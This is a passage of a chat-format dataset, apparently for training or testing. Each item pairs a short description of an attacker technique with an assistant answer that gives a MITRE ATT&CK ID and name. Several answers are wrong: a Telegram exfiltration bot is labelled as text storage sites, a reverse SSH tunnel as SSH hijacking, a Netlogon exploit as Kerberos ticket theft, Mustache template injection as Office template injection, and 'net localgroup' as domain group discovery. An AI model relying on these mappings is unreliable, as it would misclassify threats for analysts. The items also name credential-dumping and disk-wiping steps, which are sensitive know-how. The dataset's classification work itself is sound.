            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the Active Setup Installed Components to reference a malicious EXE, achieving execution whenever a user profile is loaded."
            },
            {
                "role": "assistant",
                "content": "T1547.014 - Boot or Logon Autostart Execution: Active Setup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Windows API SetWindowsHookEx, the malware injects a DLL into another user's session to capture keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves flashing an older firmware image onto the target device to restore deprecated services that can be abused."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script records the current time, pauses execution for a randomized interval between 2 and 5 minutes, then checks if the elapsed time matches the pause, aborting if the timing appears manipulated."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious binary uses timing checks to detect emulated environments, delaying execution until it senses normal system performance."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a phishing campaign that asks victims to enter their email address to receive a fake invoice."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker executed Mimikatz's sekurlsa::logonpasswords module to read LSASS and steal password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary extracts the system BIOS version by executing the dmidecode command on the compromised host to collect firmware details."
            },
            {
                "role": "assistant",
                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exfiltration technique involves writing stolen data to the Windows Registry and later reading it out via a remote PowerShell session."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses /bin/sh to execute a one‑liner that adds a new user to the sudoers file and then schedules a cron job for persistence."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware was distributed with a corrupted or expired digital signature, allowing it to appear legitimate while performing malicious actions under the guise of a trusted program."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary registers a new Gmail address using forged identity documents to later use for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By installing a hidden packet sniffer, the adversary monitored TLS handshake metadata to identify and target vulnerable services."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a hidden NTFS partition on the victim's disk and stores the ransomware payload in it to evade antivirus scans."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hide Artifacts: Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script repeatedly opens and closes TCP connections to a server (slowloris technique), eventually exhausting the server's connection slots and denying service."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set extracts and decodes a URL that was hidden using URL encoding techniques."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers used legitimate admin rights to sync files from the departmental shared drive to an external drive."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware searched local system directories for .docx files containing sensitive data and bundled them for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign distributed malicious PDFs via a watering‑hole site targeting specific industry professionals, with the PDFs containing an embedded exploit that downloads a credential‑stealing malware."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware establishes a reverse SSH tunnel to pivot through a compromised host and reach internal systems."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using sudo with the -S flag, the malware supplies stolen credentials to gain elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit misconfigured backup archives that contain plaintext private keys, downloading the archives to retrieve the keys."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary stages harvested data in memory buffers before writing them to disk for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits unsecured NTP servers to send amplified NTP packets, but directly floods the target’s IP with legitimate traffic to cause denial of service."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries hijack a victim's DNS server to redirect traffic to malicious sites."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware sends ICMP echo requests to a range of IP addresses to map reachable systems."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is executed via the AppCert DLL mechanism by registering the DLL in the appropriate registry location, achieving persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool reads /proc/[pid]/cmdline of the sshd daemon to extract command-line arguments that include private keys."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses PowerShell's Add-Type to call user32.dll's BitBlt function to take a snapshot of the current screen."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By reusing previously compromised domain user credentials, the intruder gains persistent access across the environment."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using stolen SSH keys, the attacker logged into the web server and edited the index.php file to display a ransom note."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor abuses the sudo binary to run a malicious script as root after compromising a low-privilege account."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers tamper with the platform's firmware to embed a backdoor that activates during the pre‑operating‑system phase."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker configures an automatic rule in the target’s Outlook to forward all emails to a malicious Gmail account."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses a forged transport agent module in a mail server to perform data theft."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a new authentication package entry that is executed by the Local Security Authority during logon."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised user is tricked into opening a malicious compiled HTML file that calls powershell.exe through mshta, enabling the attacker to run arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group uses a Telegram bot to send exfiltrated files as messages, storing them on Telegram's cloud for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker performs keyword searches on academic research sites and technical forums to uncover detailed exploit techniques for a specific protocol."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor invokes the Windows API GetSystemInfo via a custom binary to enumerate the number of processors and page size."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A covert process opens a window with the \"SW_MINIMIZE\" command and hides it from the user's view."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider added their own phone number to victim accounts' MFA configuration, enabling them to approve authentication requests remotely."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a malicious DLL in the AppInit_DLLs registry key so it loads into every user-mode process that loads user32.dll."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware was designed to appear as a legitimate installer by changing its file extension to .msi while retaining executable code."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware sets a timer to call the OS's screenshot utility (e.g., snippingtool.exe) and emails the captured image."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary initiates a fake partnership proposal to the victim's business development team to learn about existing collaborations and contracts."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group leverages 'at' to persist a C2 connection by executing a reverse shell script at reboot."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script collects all PDF files from the user's Downloads folder and compresses them before transfer."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware changes the domain's password expiration policy to never expire passwords."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes gathering Linux system password hashes by dumping /etc/shadow."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries hijack legitimate domains and plant malicious redirect pages so that when users click on top search results they are sent to a malware‑hosting site."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor abuses the pre‑OS environment by installing a malicious firmware component that triggers before OS services start."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a Word document that includes a Right-to-Left Override character, making the malicious macro appear as regular text."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script launches a DHCP spoofing attack, broadcasting fraudulent DHCPACK messages to reassign the default gateway to the attacker's host."
            },
            {
                "role": "assistant",
                "content": "T1557.003 - Adversary-in-the-Middle: DHCP Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host runs the net.exe utility with the \"net localgroup\" flag against the domain controller to list domain groups."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using SetWindowLongPtr, the adversary redirects the message handling of a legitimate window to a malicious routine placed in extra window memory, achieving persistence without creating a new thread."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat uses the macOS \"diskutil eraseDisk\" command with the \"ZeroesOutData\" option to completely erase the internal SSD."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious payload is inserted into a Mustache template, causing the application to evaluate and run unintended code."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used Google search queries to locate publicly available files on target domains."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries insert a malicious dependency into a popular open‑source library, causing downstream projects that import the library to inherit the backdoor."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker compromised a private Git repository hosting shared code libraries and inserted malicious functions that execute when developers include the library in their projects."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware abuses the sudoers file by inserting a rule that permits execution of any command without a password."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining foothold, the malware scans for Bluetooth-enabled printers and extracts stored print jobs, sending them over the Bluetooth link."
            },
            {
                "role": "assistant",
                "content": "T1011.001 - Exfiltration Over Other Network Medium: Exfiltration Over Bluetooth"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor creates a hidden database instance in an obscure AWS region, using it to stage exfiltrated data before moving it to an external server."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker creates a malicious .csproj file that, when built with msbuild.exe, executes a PowerShell payload on the target system."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary implants malicious JavaScript into a Chrome extension to exfiltrate cookies and browsing history."
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware stores its payload inside the unused sections of a legitimate executable file, making detection difficult without deep inspection."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a malicious .url file that, when opened, redirects the user to a server hosting a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised FTP account, the attacker uploaded a new index.php file that displayed a defacement image to all visitors."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used an HTML file with hidden base64‑encoded shellcode embedded in a comment block, which was later decoded and executed."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious tool monitors for name resolution traffic on the LAN, injects spoofed LLMNR responses, and captures SMB authentication attempts for relay."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor moves laterally within an air-gapped network segment by exploiting physical accessibility to devices or using USB drives infected with malware."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers replaced the file header of a trojan with that of a legitimate .docx to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit triggers the Windows Netlogon Remote Protocol to obtain machine account hashes."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker injects malicious code into a running svchost.exe process using the Mavinject API to execute payloads."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
